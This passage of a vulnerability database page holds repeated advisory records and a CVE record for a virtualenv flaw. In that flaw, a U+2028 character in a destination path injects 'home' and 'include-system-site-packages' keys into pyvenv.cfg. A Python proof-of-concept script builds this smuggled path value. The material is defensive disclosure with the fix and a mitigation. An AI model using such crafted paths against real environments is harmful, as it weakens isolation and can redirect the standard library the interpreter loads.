/attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-virtualenvwrapper-CVE-2026-113715",
      "modified": "2026-11-19T10:54:02Z",
      "published": "2026-10-27T10:30:16Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    BREW-VIRTUALFISH-CVE-202… (GHSA-QMX5-4P3X-WVQF)

    Vulnerability from osv_homebrew – Published: 2026-10-28 08:54 – Updated: 2026-11-19 09:55 – Source website
    VLAI
    Summary
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Details

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.14.13",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "virtualfish",
            "purl": "pkg:brew/virtualfish"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "2.5.9_5"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.14.13",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.14.13"
          }
        ]
      },
      "details": "## Summary\n\nThe venv creator reads the standard library\u0027s generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv\u0027s configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv\u0027s chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter\u0027s `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv\u0027s readback, not from the standard library\u0027s initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Destination supplier\n    participant S as stdlib venv\n    participant V as virtualenv readback\n    participant C as Final pyvenv.cfg\n    participant P as Environment Python\n    A-\u003e\u003eS: path contains U+2028 and home = /attacker/chosen\n    S-\u003e\u003eC: write path inside command value\n    V-\u003e\u003eC: read with splitlines()\n    V-\u003e\u003eV: parse suffix as separate keys\n    V-\u003e\u003eC: rewrite home and include-system-site-packages\n    P-\u003e\u003eC: read injected keys on startup\n    C--\u003e\u003eP: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker\u0027s input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython\u0027s own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n    # split on \"\\n\" only, as the interpreter does\n    return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n    # site.py sets sys._home from the `home` key of the environment\u0027s pyvenv.cfg\n    probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n    return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0:  # refusing such a destination is a valid fix\n    print(\"virtualenv refused the destination\")\n    print(\"OK\")\n    raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL  python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"CONTROL  python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n    print(\"    \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-6ZQHJ6VI.",
      "id": "BREW-virtualfish-CVE-2026-113715",
      "modified": "2026-11-19T09:55:50Z",
      "published": "2026-10-28T08:54:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113715"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3426"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Venv configuration readback can reinterpret path boundaries",
      "upstream": [
        "GHSA-qmx5-4p3x-wvqf",
        "CVE-2026-113715",
        "BIT-virtualenv-2026-113715",
        "PYSEC-2026-4374"
      ]
    }

    CVE-2026-113715 (GCVE-0-2026-113715)

    Vulnerability from cvelistv5 – Published: 2026-10-20 19:42 – Updated: 2026-10-23 02:01
    VLAI
    Title
    virtualenv: Venv configuration readback can reinterpret path boundaries
    Summary
    virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv's selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9.
    SSVC
    Exploitation: poc Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-10-23 02:01 UTC
    CWE
    • CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    pypa virtualenv Affected: < 21.14.9
    Create a notification for this product.
    Show details on NVD website

    {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-113715",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-23T02:01:27.346462Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-23T02:01:48.925Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "virtualenv",
              "vendor": "pypa",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 21.14.9"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv\u0027s selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "HIGH",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 2,
                "baseSeverity": "LOW",
                "privilegesRequired": "NONE",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "LOW",
                "vulnConfidentialityImpact": "LOW",
                "vulnIntegrityImpact": "LOW"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-93",
                  "description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-20T19:42:55.011Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"
            },
            {
              "name": "https://github.com/pypa/virtualenv/pull/3426",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/pull/3426"
            },
            {
              "name": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"
            },
            {
              "name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
            }
          ],
          "source": {
            "advisory": "GHSA-qmx5-4p3x-wvqf",
            "discovery": "UNKNOWN"
          },
          "title": "virtualenv: Venv configuration readback can reinterpret path boundaries"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-113715",
        "datePublished": "2026-10-20T19:42:55.011Z",
        "dateReserved": "2026-10-20T16:03:14.862Z",
        "dateUpdated": "2026-10-23T02:01:48.925Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }